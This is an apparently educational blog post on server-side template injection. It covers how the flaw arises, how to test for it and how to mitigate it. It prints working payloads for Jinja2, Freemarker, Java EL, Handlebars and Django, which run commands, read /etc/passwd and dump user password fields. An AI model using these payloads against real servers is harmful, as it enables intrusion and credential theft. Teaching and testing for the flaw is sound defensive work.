Understanding Server-Side Template Injection (SSTI)

Atharv PatilAtharv Patil
5 min read

Server-Side Template Injection (SSTI) is a significant vulnerability in modern web applications, enabling attackers to inject malicious code into server-side templates. This flaw arises when user inputs are improperly handled and directly embedded into template engines, which are responsible for generating dynamic content. As web applications increasingly rely on template engines like Jinja2 (Python), Twig (PHP), and Freemarker (Java), the risk of SSTI attacks has escalated, making it imperative for developers to understand and mitigate these threat.

What is SSTI?

SSTI occurs when an attacker can manipulate a web application’s template engine by injecting malicious payloads. Template engines dynamically generate HTML content by combining templates with user-provided data. If these inputs are not adequately sanitized, attackers can exploit the vulnerability to execute code on the server, leading to severe security breaches.

Mechanism of SSTI Attacks

To illustrate how SSTI works, consider a web application that allows users to personalize their profiles by entering a username. If the application uses Jinja2 without proper input validation, an attacker might input:

{{ 7 * 7 }}

Instead of displaying the username, the template engine evaluates this expression and displays 49, indicating that user inputs are executed as code. An attacker could escalate this by injecting:

{{ config.items() }}

This payload could expose sensitive server information, including configuration details and database credentials.

Real-World Examples

SSTI has been exploited in various high-profile cases. For instance, Atlassian Confluence was targeted due to an SSTI vulnerability that allowed attackers to execute shell commands on the server. Similarly, file-sharing services like CrushFTP were also compromised through SSTI attacks, highlighting the widespread nature of this threat.

Testing for SSTI Vulnerabilities

Identifying SSTI vulnerabilities is crucial during penetration testing. Security professionals often use tools like Burp Suite and OWASP ZAP to automate the detection process. Common testing payloads include:

{{ 7 * 7 }}

If the output is 49, it indicates a vulnerability. More sophisticated payloads can be used to probe deeper into server configurations:

{{ ''.__class__.__mro__[2].__subclasses__() }}
  • .__class__:

    • This gets the class of the object. In this case, the object is '', an empty string, so the class would be str. Essentially, ''.__class__ returns <class 'str'>.
  • .__mro__:

    • __mro__ stands for Method Resolution Order. This attribute is a tuple that lists the class hierarchy in the order in which methods are inherited.

Automated tools like sqlmap can also assist in identifying SSTI vulnerabilities in web applications.

Detection of Server-Side Template Injection (SSTI): In different template engines

${{<%[%'"}}%\.

Template Injection Table

To aid with SSTI detection, an interactive table can be created. This table should contain efficient template injection polyglots alongside the expected responses for the 44 most popular template engines.

Below, we break down how SSTI works in different template engines, highlighting basic injections, command execution, and other advanced techniques.

ASP.NET Razor

  • Razor allows you to embed server-side code, such as C# or VB.NET, into web pages.

    Basic Injection:

      @(1+2)
    

    Command Execution:

      @{
        // Execute C# code here
      }
    

Expression Language (EL)

  • EL simplifies the accessibility of data in Java components like request, session, or application.

    Basic Injection:

      ${1+1}
      ${<property>}
    

    Code Execution:

      ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec('whoami')}
    

Freemarker

  • Apache Freemarker is a Java-based template engine used to generate dynamic text (HTML, configuration files, emails, etc.).

    Basic Injection:

      ${3*3}
    

    Code Execution:

      <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
    

Groovy

  • Groovy is a powerful scripting language for Java.

    Basic Injection:

      ${9*9}
    

    Command Execution:

      ${"calc.exe".execute()}
    

Handlebars

  • Handlebars is a logic-less JavaScript template engine.

    Command Execution:

      {{#with "s" as |string|}}
        {{#with split as |conslist|}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.push "return require('child_process').execSync('ls -la');"}}
        {{/with}}
      {{/with}}
    

Jinja2

  • Jinja2 is a full-featured template engine for Python, used by frameworks like Flask and Django.

    Basic Injection:

      {{4*4}} [[5*5]]
    

    Code Execution:

      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    

Django Templates

  • Django supports two default template rendering engines: Django Templates (DT) and Jinja2.

    Basic Injection:

      {{ 7*7 }}
    

    Exploitation for Sensitive Data Disclosure:

      {% load log %}{% get_admin_log 10 as log %}{% for e in log %}
      {{e.user.get_username}} : {{e.user.password}}{% endfor %}
    

Java

  • Multiple template engines support Java-based injections. Depending on the context, various methods can be used to achieve Remote Code Execution (RCE) or information disclosure.

    Basic Injection:

      ${7*7}
    

    Retrieve System Environment Variables:

      ${T(java.lang.System).getenv()}
    

    Command Execution:

      ${T(java.lang.Runtime).getRuntime().exec('whoami')}
    

Exploitation Techniques

SSTI vulnerabilities can lead to severe security issues, such as:

  1. Remote Code Execution (RCE): Injecting code directly into a vulnerable template engine, as seen with Java or Python’s Jinja2, allows attackers to run commands on the server.

  2. Information Disclosure: Attackers can extract sensitive information from the environment, such as system variables or user credentials.

  3. File Access: SSTI vulnerabilities can allow attackers to read or write files on the server.

Mitigation

To protect against SSTI vulnerabilities, you should:

  1. Sanitize inputs: Ensure that user inputs are properly sanitized and never directly used in template engines.

  2. Use strict template engines: Use template engines that do not allow arbitrary code execution (or restrict such functionality).

  3. Implement security controls: Use Content Security Policies (CSPs) and secure development practices to reduce attack surfaces.

By understanding and utilizing various template engine-specific polyglot payloads, you can detect and prevent potential SSTI vulnerabilities before they lead to critical exploits.

Conclusion

SSTI represents a critical vulnerability that can lead to severe security risks in modern web applications. By understanding its mechanics and implementing robust security practices—such as input validation, output encoding, and regular security audits—developers can significantly reduce the risk of exploitation. In an era where cyber threats are increasingly sophisticated, proactive measures against vulnerabilities like SSTI are essential for maintaining secure web environments. As organizations continue to rely on dynamic content generation through template engines, addressing SSTI vulnerabilities must remain a top priority in their security strategies. By fostering collaboration between developers, security engineers, and penetration testers, we can build more resilient applications capable of withstanding emerging threats in our interconnected digital landscape.

1
Subscribe to my newsletter

Read articles from Atharv Patil directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Atharv Patil
Atharv Patil

Encrypting my life one bit at a time from the comforts of 127.0.0.1